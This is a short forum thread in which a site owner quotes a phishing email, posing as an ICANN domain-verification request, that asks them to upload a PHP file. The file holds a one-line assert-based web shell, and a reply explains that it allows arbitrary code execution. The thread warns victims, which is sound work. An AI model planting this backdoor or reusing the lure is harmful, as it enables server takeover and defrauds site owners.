C
C
Combat72017-07-18 17:02:18
PHP
Combat7, 2017-07-18 17:02:18

How can the site be damaged?

Phishing email with content like this
In accordance with changes made to the ICANN rules, you must confirm that the actual management of the domain name mydomain is carried out by the person listed as its administrator.
To confirm that you have the actual ability to manage the domain, create a file a1caya1tvwcu7ovs.php in the site's root directory with the following content:

<?php
assert(stripslashes($_REQUEST[REG]));

What will they get if I write this code in such a file?

Answer the question

In order to leave comments, you need to log in

1 answer(s)
A
Alexey Ukolov, 2017-07-18
@Combat7

Anything - assert is an analogue of eval in this case, they can execute absolutely any code, create any files, etc.
That is why this functionality was cut out in 7.2 .

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question